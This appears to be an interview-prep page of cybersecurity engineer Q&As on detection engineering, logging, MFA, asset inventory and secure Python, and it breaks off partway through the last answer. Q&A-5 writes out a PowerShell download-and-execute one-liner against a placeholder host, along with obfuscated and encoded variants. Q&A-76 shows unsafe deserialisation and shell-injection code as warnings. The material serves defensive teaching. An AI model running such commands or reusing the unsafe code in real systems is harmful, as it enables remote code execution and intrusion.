- Home
- Prep by Job Role
- Cybersecurity Engineer
- Top 100 Q&A
Top 100 Cybersecurity Engineer Interview Questions and Answers
The questions most likely to come up in your Cybersecurity Engineer interview, ranked by likelihood, with senior-level answers that cover what the interviewer is listening for.
Curated: · Written: · Reviewed:
Q&A-53A candidate says data is secured because it is base64 encoded. What is the correction?
I would treat hashing, encryption, and encoding as a claim about an adversary that has to survive being attempted.
Encoding is a reversible representation with no key and provides no confidentiality. Hashing is one-way and provides integrity or verification rather than confidentiality. Encryption provides confidentiality and requires key management. The three are not interchangeable.
Concretely, choose by the property required: encryption for confidentiality with a managed key, a keyed MAC or signature for integrity and authenticity, a slow salted hash for password verification, and encoding only for transport safety.
The reason for that specificity is a failure I have seen: Session data was base64 encoded and treated as opaque; an attacker decoded it, changed the role field, re-encoded it, and was granted administrative access.
Property by transformation.
| Transformation | Reversible | Needs key | Confidentiality |
|---|---|---|---|
| base64 | yes | no | no |
| SHA-256 | no | no | no |
| HMAC | no | yes | no |
| AES-GCM | yes | yes | yes |
I would not consider it settled without evidence: Ask what key is involved; if there is none, the transformation is not providing confidentiality.
No key means no confidentiality.
Curated: · Written: · Reviewed:
Q&A-29Why is DNS logging disproportionately useful?
Answer in the first minute. DNS logging is disproportionately useful because it is the cheapest place to see intent before it becomes traffic. Almost every connection starts with a name lookup, and that lookup is usually plaintext UDP/53 to a resolver you control, so the log gives you the queried name, the client that asked, and the time: for hosts your endpoint agents don't cover and for traffic you can't decrypt. It is not free and not sufficient on its own; it is the source that answers "which host asked for that name" when nothing else can.
Why the signal is there. The name is resolved before the connection is encrypted, so the query is visible even when the session is not. It also survives infrastructure churn: an adversary rotating C2 IPs behind a CDN still has to resolve a name, and the name is what your threat intel actually matches on. And it covers the long tail (printers, IoT, contractor laptops, appliances) that never gets an EDR agent.
What to log, concretely. Resolver queries with the originating client address, the query name, type, response code and timestamp. Retain for the investigation window you actually need (see cost below). Alert on newly observed domains, low-reputation domains, high-entropy subdomains (a common DNS-tunnelling shape), and per-host query-rate outliers. Route internal resolution through resolvers you control, or the log doesn't exist.
The failure that makes the client address non-negotiable. An investigation could not determine which host had contacted a C2 domain because the resolver logged only the forwarder's address. Hypothetical figures from that worked incident, not a benchmark:
| What the log records | Names the host? | Time to close |
|---|---|---|
| forwarder address only | no | ~2 days |
| client address | yes | ~20 minutes |
| client address + process | yes | ~4 minutes |
Verify it end to end before you rely on it: run one query from a host you can identify and confirm the client address, not the resolver's, appears in the record. Unbound's log-queries: yes and dnsmasq's log-queries both include the client address in their output; check your own resolver rather than assuming.
What it costs. DNS is the highest-volume, lowest-signal telemetry on most networks. A 1,000-host network at 50 queries per host per hour is roughly 1.2M queries a day; at ~150 bytes per query/response pair that's on the order of 180 MB/day of raw records before indexing, and 90-day retention is where the storage bill lands. Query logs are also personal data in most jurisdictions (they expose browsing, internal service names, and health or finance lookups) so expect retention limits, access control, and often pseudonymising the client field. And browser DoH/DoT to a public resolver removes the log entirely unless you force internal resolvers by policy or MDM.
Alternatives, and when DNS is the wrong tool. NetFlow/IPFIX gives you IPs and volumes but no names: useless when the C2 sits behind a shared CDN address. TLS SNI and proxy logs give names for most TLS, but nothing for non-HTTP protocols or encrypted DNS. EDR gives process-level attribution, but only on managed hosts. Passive DNS gives historical resolution for retro-hunting, not host attribution. If the adversary uses IP literals, or all resolution leaves via DoH to a resolver you don't own, DNS logging buys you little.
Failure modes to watch. Logging the forwarder instead of the client (above). Retention shorter than the beacon interval: keep 7 days and a weekly beacon shows up once. Volume alerts that fire on a browser update or a SaaS rollout. And treating "new domain" as an alert on its own, which is noise on any network with normal software churn.
Curated: · Written: · Reviewed:
Q&A-71You need to join 5 million authentication events against 200,000 known-bad indicators. How?
Assume the 200,000 indicators fit in memory and the 5 million events arrive as a stream you don't want to materialize. Then this is a hash join: build a set from the indicators, probe it once per event.
Nested-loop correlation is 5e6 × 2e5 = 1e12 comparisons. A hash set makes each probe O(1), so the join becomes one pass over the events: 5e6 probes.
indicators = set(load_indicators()) # 200k IPs, ~20-30 MB resident
for event in stream_events(): # 5M events, one at a time
if event.src_ip in indicators:
emit(event)
Build the set from the smaller side. Building from the events instead costs 5M insertions and 200k probes: same asymptotics, worse constants and more memory.
| Approach | Work | When it applies |
|---|---|---|
| nested loop | 1e12 comparisons | never at this size |
| hash set | 5e6 probes, ~20-30 MB | indicators fit in RAM |
| Bloom + exact check | 5e6 × ~7 bit probes, ~1% exact checks | indicators don't fit in RAM |
| partitioned hash join | two passes plus spill | neither side fits |
Failure modes worth naming:
- The indicator set doesn't fit in RAM. At 200M indicators you're into hundreds of MB to GB, and every probe becomes a cache miss or a disk read. This is where a Bloom filter earns its place: sized at ~10 bits per element it gives roughly a 1% false-positive rate and fits in a fraction of the memory. Each event does k≈7 hash probes; ~1% pass and get an exact check against the full set. The win is memory footprint and cache locality, not fewer comparisons, when both structures fit in RAM, a plain hash-set probe is cheaper than a Bloom probe.
- Hash collisions. Irrelevant for correctness; the set resolves them. They matter only as a DoS vector when an attacker controls the keys, which is why languages randomize string hashes.
- Skew. If one indicator matches millions of events, the emit path becomes the bottleneck, not the join.
Alternatives: a sort-merge join if both sides are already sorted on disk; a bitmap if the indicator space is small and dense (e.g. /24 prefixes).
Detection: run the same job at 1M and 2M events. Linear gives ~2×; a nested loop gives ~4×. That scaling test tells you which join you actually have. I've seen this exact shape: a nested-loop correlation over 5M events and 200k indicators was still running after 14 hours; the hash-set rewrite finished in 40 seconds.
Curated: · Written: · Reviewed:
Q&A-76Where does Python help a security engineer and where does it get you into trouble?
Python is the default for security tooling because the ecosystem is unmatched, and it is the wrong tool in exactly two places: the hot path of a high-rate stream, and any code path that hands untrusted input to pickle, yaml.Loader, eval, or a shell string. Everything else is a judgement call about how much throughput you actually need.
Where it earns its place. Parsing and protocol work: scapy and dpkt for packets, pefile for PE headers, capstone for disassembly, yara-python for rule matching, volatility3 for memory images, impacket for SMB and Kerberos. Enrichment and orchestration: httpx against intel APIs, boto3 against cloud control planes, SOAR playbooks, IR automation. Detection-as-code and review: semgrep, bandit, Sigma tooling. Bulk analysis: pandas or polars over exported logs. None of this is latency-critical, and time-to-first-working-script is the whole point.
Where throughput kills it. The interpreter charges you per bytecode dispatch, and the GIL means threads do not buy you cores for CPU-bound parsing. Take a per-event enrichment doing json.loads on a 1 KB record, one compiled regex, two dict lookups: roughly 8–15 µs on a current x86 core, so 60–120k events/s. Add one synchronous HTTP call to a threat-intel API at 1 ms p50 and you are at ~900 events/s per worker, because the loop is now waiting, not computing. A 4,000 events/s stream then needs five workers just to keep pace, and one retry storm or GC pause puts you permanently behind.
| Path (one core, illustrative) | Sustained rate | Why |
|---|---|---|
| per-event loop, local parse only | 60–120k events/s | ~10 µs/event of interpreter work |
| same loop + 1 ms synchronous enrichment | ~900 events/s | blocked on I/O, not CPU |
| batched, vectorised over 10k rows | 1–5M rows/s | no per-row interpreter dispatch |
| compiled component | 10–100× the loop | no interpreter, no GC pauses |
Measure sustained throughput against the production event rate before anything goes in the streaming path. multiprocessing and C extensions move the ceiling; they do not remove it.
Where it bites you back. The same dynamism that makes Python fast to write makes it fast to exploit.
import pickle, yaml
pickle.loads(untrusted) # __reduce__ -> arbitrary code on load
yaml.load(untrusted, Loader=yaml.Loader) # !!python/object/apply -> arbitrary code
yaml.safe_load(untrusted) # plain scalars/seqs/maps only
PyYAML ≥ 5.1 forces you to name a Loader, which stops the silent default but not the mistake: yaml.Loader and UnsafeLoader still execute Python. pickle has no safe mode; if the bytes cross a trust boundary, use JSON or a schema-validated format.
- Supply chain.
pip installruns package build code. Typosquats are the standard attack:jeIlyfish(2018) harvested SSH and GPG keys; thectxpackage was hijacked in 2022 and exfiltrated environment variables including AWS credentials. Pin with a lockfile andpip install --require-hashes, prefer--only-binary :all:, runpip-auditin CI, and neversudo pip install. - Archive extraction.
tarfile.extractall()on an untrusted archive writes outside the target directory. PEP 706 addedfilter=in Python 3.12 and makes'data'the default in 3.14; until then passfilter='data'explicitly. - ReDoS.
rebacktracks with no timeout, so one crafted log line against(a+)+$pins a core. Theregexmodule takestimeout=, or run the parse in a subprocess with a wall-clock limit. - Weak randomness.
randomis Mersenne Twister; 624 outputs recover the state. Usesecrets.token_urlsafe(32)for tokens andsecrets.compare_digestfor comparisons. - Shell injection.
subprocess.run(f"nmap {host}", shell=True)with a host from a scan target list is attacker-controlled. Pass a list argv withshell=False.
The rule: Python wherever the work is I/O-bound, batched, or one-shot; a compiled component or purpose-built engine on the streaming path; and never pickle, yaml.Loader, shell=True, or random on a path that touches attacker-controlled data.
Curated: · Written: · Reviewed:
Q&A-41Where in the development lifecycle does security work pay best?
Core answer
Design. The highest-return security work happens while trust boundaries, the authorisation model and data flows are still being chosen: before there is code to scan. Concretely: threat modelling on anything that crosses a trust boundary, secure defaults baked into the platform so the common case is safe without a review, and automated checks (SAST in CI, dependency scanning, DAST against a staging deploy) as a backstop rather than the programme.
Why design wins
A design flaw is a defect class, not a defect instance. If the authorisation model is "each service checks the caller's role itself", every new endpoint inherits the same gap, and you fix it once per endpoint forever. Move the check to a central policy layer and the whole class disappears. A late scanner finds instances; design work removes the generator.
The cost curve agrees. The IBM Systems Sciences Institute figures, quoted alongside Boehm's cost-of-change work, put a production defect at roughly 30x the design-stage cost, with the range across studies spanning about 10x to 100x: treat the multiplier as directional, not precise. NIST's SSDF (SP 800-218, published Feb 2022) encodes the same ordering: prepare the organisation, protect the software, produce well-secured software, respond to vulnerabilities.
Practices by stage
| Stage | Practice | What it catches |
|---|---|---|
| Design | Threat modelling (STRIDE), trust-boundary diagram, abuse cases | Broken authorisation, missing tenant isolation |
| Implementation | Secure-coding standards, framework secure defaults, SAST in CI, secret scanning | Injection, hardcoded credentials |
| Pre-release | DAST, dependency/SCA scanning, pen test on new surface | Misconfiguration, known-CVE libraries |
| Production | Runtime WAF, anomaly detection, bug bounty | Exploited gaps, novel abuse |
Worked example (hypothetical)
A team ships a multi-tenant API. Design review asks one question: how does a request prove which tenant it belongs to? Answer: the client sends tenant_id. That is a broken-authorisation class. Fixing at design means one middleware that derives the tenant from the authenticated token: about 2 days. Had it shipped, every one of ~40 endpoints would need the same fix plus a data-leak incident, and the class typically reappears each time a new endpoint is added.
When design work is not worth it
Threat modelling every CRUD service is waste. Scope it to changes in trust boundaries, authentication, authorisation, crypto, and anything handling regulated data. For a service that only reads public config, CI dependency scanning is enough. And design work does not replace late checks: misconfiguration, expired certificates and vulnerable transitive dependencies are not design flaws and only surface in pre-release or production.
Failure modes and detection
- Threat model written once and never revisited → check whether new endpoints appear in it; if not, it is stale.
- Secure defaults that teams override → count overrides of the platform's auth middleware.
- SAST noise ignored → track the ratio of findings triaged to findings raised; a low ratio means the gate is theatre.
How to know it is working
Report findings by the stage they were found and the rework cost per stage. If most findings still arrive at pre-release, the design work is not landing.
Curated: · Written: · Reviewed:
Q&A-65What is the cheapest security improvement available to most organisations?
The 90-second answer
For most organisations the cheapest security improvement is turning on MFA at the identity provider, not per application. It is a configuration change on a system you already run: authenticator-app MFA costs nothing in licence on Entra ID Free or Google Workspace, and it closes the largest single initial-access path. A valid password used from an unfamiliar location. Microsoft's published figure is that MFA blocks 99.9% of account-compromise attacks; treat that as a vendor number from 2019, because it predates the adversary-in-the-middle phishing kits that now satisfy MFA and steal the session cookie.
Assumptions that decide the answer: you have a central IdP and your apps federate to it. If you have forty apps with forty local password stores, MFA is not cheap: identity consolidation is the prerequisite, and that is a project, not a toggle.
Ranking the candidates
"Cheapest" needs a denominator. I use cost per attack path closed, split into one-time and recurring cost.
| Candidate | Cost | Closes | Doesn't close |
|---|---|---|---|
| MFA at the IdP | $0 licence; ~2 hours to enable and pilot | password spraying, credential stuffing, stolen-password logins | AiTM phishing, MFA fatigue |
| Patching | free tooling, recurring labour | known exploited CVEs | zero-days, vendor-unpatched code |
| Immutable backups | storage bill | ransomware extortion | data theft, downtime |
| Attack surface reduction | one-time labour | whole service categories, permanently | anything you still need |
| Logging and alerting | storage plus analyst time | nothing directly; enables detection | — |
Illustrative arithmetic for a 400-person org: enabling Entra ID security defaults is one change covering every user, roughly 2 hours including a pilot group and a comms note. Monthly patching of 400 endpoints at 15 minutes each is 100 technician-hours a month, 1,200 a year, plus reboot disruption. Immutable backup storage for 20 TB at S3 Standard's published $0.023/GB-month is about $470/month, $5,650/year. MFA is the only line item that is a one-time cost with tenant-wide coverage.
CIS Critical Security Controls v8 names this directly: safeguards 6.3, 6.4 and 6.5 require MFA for externally exposed applications, remote network access and administrative access.
Where it fails, and how you'd see it
- MFA fatigue: repeated push prompts until someone accepts. Uber, September 2022, entered this way through a contractor. Detection: Entra ID sign-in logs showing repeated denied MFA events for one principal. Number matching has been the Authenticator default since February 2023.
- AiTM phishing: Evilginx-style proxies relay the real login and capture the session token, so MFA is satisfied. Mitigation is phishing-resistant FIDO2 or conditional access requiring a compliant device.
- Legacy protocol bypass: IMAP, POP and SMTP basic auth ignore MFA entirely. Microsoft disabled basic auth for Exchange Online in October 2022. Detection: sign-in logs filtered on legacy client.
- SMS second factor: SIM swap. Prefer an authenticator app or a hardware key.
The permanent complement
Attack surface reduction is the second-cheapest move and the only one that does not recur. Hypothetical worked example: an estate of 340 internet-exposed services, of which 61 had no owner and 69 were owned but no longer needed. Removing those 130 cuts exposed surface by 38% at one-time labour cost. CIS Control 4.8 covers uninstalling or disabling unnecessary services; Controls 1 and 2 cover the asset and software inventories that make the review possible. Run it quarterly, because the surface grows back.
What is not there cannot be exploited.
What interviewers are scoring
- A named control with a named cost, not a category. "MFA at the IdP, $0 licence, two hours" beats "improve identity hygiene".
- One-time cost separated from recurring cost, and a denominator: cost per attack path closed, not cost per control.
- The prerequisite stated out loud: a central IdP that apps federate to. Without it, MFA is a per-app project and the answer changes.
- The control's own limits: AiTM, push fatigue, legacy protocols. An answer that claims MFA stops phishing has not read a 2022 breach report.
- Cheap distinguished from free. Patching has no licence line but real labour; saying so shows you have run a patch cycle.
Weak answers
- "Security awareness training." Recurring cost, no measurable effect, and it is the control that already failed in the breach being described.
- "Turn on MFA" with no mention of where. That is a per-app rollout in disguise, and it is not cheap.
- Quoting 99.9% as a current fact rather than a 2019 vendor figure.
- Listing five controls with no ranking, no cost and no trade-off. The question asks for the cheapest, so a list is a non-answer.
- Treating MFA and phishing-resistant MFA as the same thing.
Follow-ups they'll ask
- "The CEO won't install an authenticator app. Now what?": FIDO2 key or passkey, number matching, conditional access on a compliant device.
- "How do you know it worked?": MFA registration coverage, share of sign-ins satisfying MFA, count of legacy-auth sign-ins, denied-push events per principal.
- "What's the second-cheapest?": attack surface reduction, because it is one-time and permanent.
- "How do you roll it out without locking out the helpdesk?": pilot group first, a break-glass account excluded from the policy, staged enforcement, comms before the cutover.
- "What breaks?": service accounts, scanners and legacy apps on basic auth. You need an exclusion process with a named owner and an expiry date, or the exclusions become permanent.
Curated: · Written: · Reviewed:
Q&A-26Why is an asset inventory a security control rather than an IT chore?
The short answer
An asset inventory is a security control because it is the denominator every other control is measured against. Patch coverage, EDR agent coverage, scan coverage, backup success: each is a fraction whose denominator is "the hosts we have." If that number is wrong, the metric is wrong, and it is wrong in the direction that hides risk: the hosts missing from the inventory are the ones nobody patches, nobody scans, and nobody watches. A control you cannot enumerate is a control you cannot claim.
Why it behaves that way
Coverage metrics are computed by the tooling that owns the denominator. A patch console counts the hosts that report to it. A host that never got the agent is not "0% patched" in that console: it is absent, so it does not drag the percentage down. The metric improves as the estate gets less visible. That inversion is what makes inventory a control rather than bookkeeping.
Worked example
A patch console reports 1,176 of 1,200 hosts patched: 98%. Reconciliation against network discovery and the cloud APIs turns up 200 hosts the agent never saw: build images, an acquired subsidiary's subnet, a forgotten lab VLAN.
| Denominator | Hosts | Patched | Compliance |
|---|---|---|---|
| agent console | 1,200 | 1,176 | 98.0% |
| reconciled inventory | 1,400 | 1,176 | 84.0% |
Same 1,176 patched hosts. The number moved 14 points because the denominator changed. In this pattern the intrusion starts on one of the 200.
Trade-offs
Reconciliation is not free. Each source has an owner, an API, a refresh cadence and a false-positive rate; a four-source reconciliation with weekly diffs is a real engineering commitment, and the disagreement queue needs someone to work it or it rots.
Agent-only inventory is enough when the estate is homogeneous and the agent is mandatory by build policy: one cloud, one image pipeline, no BYOD, no acquisitions. There the agent console is the inventory, and adding network discovery buys little.
A lighter approach is right for a small, static estate: a quarterly authenticated scan plus a spreadsheet someone actually owns beats a half-built reconciliation pipeline nobody reads. The failure mode of an over-engineered inventory is the same as no inventory: stale data trusted as current.
Full multi-source reconciliation earns its cost when the estate is multi-cloud, has acquired networks, or is in scope for a regime that asks you to prove coverage.
Failure modes and detection
The recurring failure is treating a disagreement between sources as a data-quality ticket instead of a finding. Track the disagreement count as a metric with an owner; a rising count means the estate is drifting out from under the controls. The second failure is staleness: a decommissioned host that stays in the inventory inflates the denominator and hides real gaps.
Curated: · Written: · Reviewed:
Q&A-4How long should you retain security logs?
12 months of searchable retention, with the most recent 90 days in a hot index that answers queries in seconds, and 7 years in an archive tier for anything touching financial reporting or a regulated system.
That is not a guess. PCI DSS v4.0 requirement 10.5.1 mandates exactly 12 months of audit log history with the most recent 3 months immediately available for analysis. SOX §103 requires audit workpapers be kept 7 years. HIPAA names no log retention period at all: 45 CFR §164.316(b)(2)(i) requires 6 years for the documentation of policies, procedures and actions, which is a different thing and routinely conflated with log retention. GDPR Article 5(1)(e) sets no period either; it requires you to justify one.
Why 12 months and not 30 days
Retention has to outlast the time an intrusion runs before someone notices. The published distributions are wide and the tail is the whole problem. Mandiant's M-Trends 2024 reports a global median dwell time of 10 days. IBM's Cost of a Data Breach 2024 puts the mean time to identify and contain at 258 days. Those measure different things: Mandiant measures compromise-to-detection, IBM measures the full lifecycle through containment, but the gap between a 10-day median and a 258-day mean is the point: half of incidents are found fast, and the ones that aren't run for months. A 30-day window covers the median and misses exactly the cases you need forensics for.
Tiers, with real prices
S3 list prices, us-east-1, per GB-month:
| Tier | Typical age | $/GB-mo | Retrieval |
|---|---|---|---|
| S3 Standard / OpenSearch | 0–90 d | $0.023 | ms |
| Glacier Instant Retrieval | 90 d–1 y | $0.004 | ms |
| Glacier Flexible Retrieval | 1–7 y | $0.0036 | 1–5 min expedited, 3–5 h standard |
| Glacier Deep Archive | 7 y+ | $0.00099 | 12 h standard, 48 h bulk |
Arithmetic for a 1 TB/day log volume: 365 TB/year = 373,760 GB. All-hot costs 373,760 × $0.023 = $8,596/month, about $103k/year. All-Deep-Archive costs 373,760 × $0.00099 = $370/month, about $4.4k/year. Roughly 23×. That spread is why retention gets cut, and why the tiering has to be deliberate rather than defaulted.
Failure modes
Retention set by storage cost. The investigation opens on a host compromised four months ago and the initial access, persistence mechanism and data scope are all outside the window. Detect it by comparing your oldest searchable log against the initial-access timestamp of your last real incident, not against your policy document.
An archive that cannot be searched in time. Deep Archive bulk restore is 48 hours. If your IR runbook promises a 4-hour answer, that tier is not in the hot path. Detect it by timing a restore of an actual day's logs, not a 1 KB test object. Watch the minimum storage durations too (90 days for Glacier Instant and Flexible, 180 for Deep Archive) early deletion is billed for the remainder.
Silent defaults. CloudTrail's console event history covers 90 days and no more unless you created a trail. CloudWatch log groups default to Never Expire, which is the opposite failure: unbounded cost. Detect both by listing trails, and by listing log groups where retentionInDays is unset.
Setting it
Pick retention from p99 dwell time in your own incident data, not the median, then add the investigation window and any legal hold. Keep 90 days hot, tier the rest, and re-time a restore quarterly.
Curated: · Written: · Reviewed:
Q&A-3How would you know a log source stopped reporting?
Direct answer. Two checks, and I'd run both. A last-event timestamp per source, alerting when now - last_event crosses a threshold, catches a source that has gone completely silent. A volume baseline, alerting when a source's event rate drops well below its own recent norm, catches partial loss. The second is the one that matters, because partial loss is invisible to the first.
Assumptions: every event carries a source identifier (host, app, index) and you can stamp an ingestion time at the collector. If you only have the source's own timestamp, clock skew will produce false alarms.
Why partial loss is the real problem. Endpoint telemetry from 340 of 1,200 hosts stopped after an agent upgrade. Nothing alerted for six weeks, because every rule fired on events rather than on their absence. The reporting count looked like this:
| Week | Hosts reporting | Alert fired |
|---|---|---|
| 0 | 1200 | — |
| 1 | 860 | no |
| 6 | 855 | no, found by hand |
A last-event check would have caught nothing here: 860 hosts were still reporting, so the source was alive. Only a per-host volume comparison shows the drop.
The three mechanisms and what each misses.
| Mechanism | Catches | Blind to | Cost |
|---|---|---|---|
| Last-event timestamp | total silence for a source | partial loss | trivial if you already emit a timestamp metric |
| Volume baseline | partial loss, e.g. 340/1200 hosts | quiet-but-alive sources; needs a stable baseline | per-source baseline upkeep; false positives on diurnal or bursty traffic |
| Heartbeat / dead-man's switch | total silence, including a crashed agent | partial loss; a heartbeat emitted by a surviving sidecar masks the failure | source must emit it; push watchdogs add an external dependency |
PromQL for the first two:
- alert: LogSourceSilent
expr: (time() - log_source_last_event_timestamp_seconds) > 900
for: 5m
- alert: LogSourceVolumeDrop
expr: |
sum by (source) (rate(log_events_total[10m]))
< 0.2 * sum by (source) (rate(log_events_total[10m] offset 1d))
for: 15m
Trace the second: a source steady at 100 events/s now emits 5/s. The ratio is 0.05, below the 0.2 threshold, so it fires after the 15-minute for. A source that dips to 30/s on a quiet Sunday sits at 0.3 and stays quiet, which is the false negative you accept to keep the alert usable.
When volume baselining is the wrong tool. Low-volume sources. A source emitting three events a day has no meaningful baseline; use a heartbeat with a 24-hour window instead. Same for genuinely bursty batch sources, where the rate is zero between runs: a heartbeat at the end of each run is the honest signal. And if the heartbeat is emitted by a sidecar that survives the log shipper dying, it tells you the host is up, not that logs are flowing; the heartbeat has to travel the same path as the data.
What I'd test. Stop a source deliberately and confirm the alert fires within the window you promised. Then kill one host out of a hundred and confirm the volume check catches it while the last-event check stays silent.
Curated: · Written: · Reviewed:
Q&A-19Where does an endpoint agent not see?
An endpoint agent sees the hosts it is installed on, while it is running, with the kernel access it needs. Everything else is a blind spot, and that is where intrusions concentrate, because the attacker picks the host you cannot see.
The mechanism is simple. The agent is a process plus a kernel driver inside the guest OS. It reports what the OS lets it observe (process creation, file writes, registry keys, socket connections) over a live channel to the console. So it cannot see:
- Hosts with no agent: unmanaged devices, appliances, OT gear, contractor and BYOD laptops, anything booted from alternate media.
- Hosts where the agent is not running: stopped service, unloaded driver, host offline or air-gapped.
- Anything below the OS: UEFI/firmware implants, hypervisor activity.
- Traffic between hosts: lateral movement that never touches an enrolled endpoint.
- Cloud control-plane actions: snapshot export, IAM changes, that never enter a guest.
No single source covers all of that, so the choice is which independent inventory you reconcile against:
| Source | Sees | Misses | Lean on it when |
|---|---|---|---|
| Agent telemetry | process/file/registry/memory on enrolled hosts | unenrolled, offline, network between hosts | you need host-level depth |
| Network discovery / NDR | every device that gets an IP, lateral traffic, protocols | host internals, encrypted payloads without decryption | you have OT, BYOD or air-gapped segments |
| Directory / IdP | managed identities, joined devices | unjoined devices, appliances | you want the authoritative managed set |
| Cloud / hypervisor API | VM lifecycle, snapshots, IAM, control plane | guest internals | the estate is mostly cloud VMs |
| NAC / DHCP / 802.1X | every device that requests an address | devices that never join the network | you control the switches |
The answer changes with the estate. If 90% of your hosts are cloud VMs behind a control-plane API and you have no BYOD, the network layer matters less and the control-plane audit log matters more. If you run OT or air-gapped segments, agent deployment is impractical and passive network monitoring is the only option you have.
Failure modes, and how each is detected:
- Agent service stopped: heartbeat gap; the console shows a stale last check-in.
- Agent uninstalled: inventory diff between the console and network discovery.
- Host booted from USB: the agent never starts; PXE/boot logs plus network discovery catch it.
- Driver unloaded or agent blinded: integrity self-test, and comparing the agent-reported process list against an independent source.
A worked example, figures hypothetical. An agent console reported 100% coverage of the hosts it knew about. Reconciling against network discovery:
| Source | Hosts | With agent |
|---|---|---|
| Agent console | 1200 | 1200 |
| Directory | 1310 | 1200 |
| Network discovery | 1380 | 1200 |
1380 − 1200 = 180 hosts with no agent. The console's 100% was 100% of 1200, not of 1380, and the intrusion began on one of the 180. The console counts the hosts it already knows.
So treat coverage as a tracked number with a target, reconciled against an inventory the agent does not control, and alarm on any host that appears on the network without one.
Curated: · Written: · Reviewed:
Q&A-5A rule matches a specific command line. Why is that fragile?
What I'd say first
A command line is a string the attacker composes, and Windows never canonicalises it. The OS hands the bytes to the target process; the target decides what they mean. A rule matching one spelling binds to the attacker's formatting choice, not to the technique, and formatting is the cheapest thing to change.
Assume the rule runs over process-creation telemetry: Sysmon Event ID 1, or Security 4688 with the Include command line in process creation events audit subcategory enabled. That subcategory is off by default, so a 4688-based rule silently matches nothing until someone turns it on.
Why the spellings are equivalent
Six ways the same action produces a different string:
- Case. Windows image names and PowerShell parameters are case-insensitive:
PoWeRsHeLl -NoPruns. - Parameter abbreviation. PowerShell binds unambiguous prefixes, so
-e,-encand-EncodedCommandall reach the same parameter. Cobalt Strike's default PowerShell launcher emits-nop -w hidden -enc. - Path form.
powershell,powershell.exe, orC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe. - cmd.exe preprocessing. Carets are stripped and
%VAR%expanded before CreateProcess, sop^ow^er^sh^ellreaches Sysmon aspowershell. Only when cmd.exe is the parent: a direct CreateProcess passes carets through untouched. - Encoding.
-EncodedCommandtakes base64 of UTF-16LE, so the payload text never appears in the command line at all. - String construction. Backticks,
+concatenation,-join,[char]arrays: Invoke-Obfuscation's TOKEN and STRING modules automate all of these.
Worked example
One technique (T1059.001, PowerShell download-and-execute), five variants, three anchors. All five fetch the same payload.
| Variant | literal contains "-nop -w hidden -enc" | normalised contains "-enc" after lowercasing and whitespace collapse | behaviour: Office/browser parent → powershell child, or powershell → outbound TCP to a non-approved destination |
|---|---|---|---|
V1 powershell.exe -nop -w hidden -enc SQBFAFgA… | hit | hit | hit |
V2 PoWeRsHeLl -NoP -W Hidden -EncodedCommand SQBFAFgA… | miss | hit | hit |
V3 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -e SQBFAFgA… | miss | miss | hit |
V4 powershell -c "&('IE'+'X') (New-Object Net.WebClient).DownloadString('http://cdn.payload.example/a')" | miss | miss | hit |
V5 p^ow^er^sh^ell -e SQBFAFgA… typed at cmd.exe | miss | miss | hit |
| caught of 5 | 1 | 2 | 5 |
V5 misses the parent-child leg (its parent is cmd.exe) but the network leg still fires.
What the table means
The literal anchor catches 1 of 5, and its single hit is the variant a default tool emits, so it looks like it works in a lab and fails in the field. Lowercasing and collapsing whitespace buys one more variant. The behaviour anchor catches all five because it never reads the spelling; it reads the process relationship and the effect.
Costs, and when literal is right
Behaviour anchors are not free. The network leg needs Sysmon Event ID 3 enabled and fires on legitimate admin scripts; the parent-child leg dies against PPID spoofing and against PowerShell hosted in-process, where a .NET assembly loaded into an existing process never spawns powershell.exe at all. Sigma's windash modifier expands /param and -param for you, which handles one axis but not encoding or abbreviation.
Literal matching is the right call when the string is not attacker-chosen: a hardcoded C2 domain, a file hash, an internal tool's fixed invocation. Cheap, no false positives: it just dies on the next build.
How I'd test it
Run the rule against Atomic Red Team's T1059.001 tests and against Invoke-Obfuscation output, and count hits per variant. Then confirm the field is populated: if 4688 command-line auditing is off, every variant misses and the rule looks clean. Watch truncation too: cmd.exe caps a command line at 8191 characters and CreateProcess at 32767, so an endswith anchor on the tail of a long base64 blob is unreliable.
Curated: · Written: · Reviewed:
Q&A-2A rule fires 200 times a week and 3 are real. Would you keep it?
No, not as a paging rule. 200 fires a week with 3 true positives is 1.5% precision: 197 interruptions to catch 3 events. At a 40-second median triage that's 8,000 seconds, about 2.2 analyst-hours a week, or roughly 115 hours a year, for ~156 true positives: 44 minutes of triage per real detection.
That arithmetic alone doesn't decide it. A rule can be worth that cost if it's the only thing catching a catastrophic event. What decides it is the second-order cost: the rule teaches the analyst what its category looks like. After a few hundred dismissals the analyst's working prior for that rule is 1.5%, and the genuine hit arrives looking exactly like the 197 before it. The failure mode isn't a lazy analyst; it's that the rule has made its own true positives indistinguishable from noise.
That failure is measurable before it costs you an incident. Track dwell time on true positives separately from false positives. If TP dwell time collapses toward FP dwell time, a real hit closed in 40 seconds with no investigation, the rule has already trained dismissal, and its effective recall is near zero no matter what the detection logic says.
The decision isn't keep-or-delete; it's whether the rule can be tuned out of this state. Tune with context that removes the dominant benign cause (the nightly scanner, the service account, the non-interactive logon) not by raising a threshold, which just moves the same noise around. Hypothetically, if excluding the nightly scanner drops fires from 200 to 20 while keeping all 3 true positives, precision goes to 15% and triage cost to ~13 minutes a week:
| Version | Fires/wk | TP | Precision | Triage/wk | Triage per TP |
|---|---|---|---|---|---|
| As-is | 200 | 3 | 1.5% | 2.2 h | 44 min |
| Context-tuned (hypothetical) | 20 | 3 | 15% | 13 min | 4.4 min |
If tuning can't get it near the cost-per-detection of your other paging rules, demote it to a hunting query or dashboard: the detection logic stays, the page goes. Keep it paging only if it's the sole coverage for a technique you can't otherwise detect, and then attach automated enrichment so the analyst gets the context the rule lacks.
The bar I'd hold: if you can't state a rule's precision and its triage cost per true positive, you can't defend keeping it paging. Tune it, re-measure, and if it's still 1.5%, it belongs on the dashboard.
Curated: · Written: · Reviewed:
Q&A-1A dashboard says you have 85 percent detection coverage. What would you check before believing it?
First question back: 85 percent of what? Coverage dashboards usually divide one of three things: techniques with at least one enabled rule, rules that fired in the last 30 days, or hosts with the agent reporting. Same estate, three very different numbers. I'd pin the denominator down before arguing about the numerator, and I'd assume the common case: techniques-with-a-rule, mapped to ATT&CK.
That number only says a rule exists. Three things fail independently underneath it, and I'd check them cheapest-first:
- Telemetry. Is the source the rule needs actually arriving, from the hosts that matter? A Sysmon rule is worth nothing on a fleet where the config only covers servers. Compare ingestion volume per source against reporting host count, not against the rule list.
- Rule match. Does it fire on real behaviour, or only on the sample event it was written against? Field names drift between agent versions; a rule keyed on a field the parser renamed is silently dead.
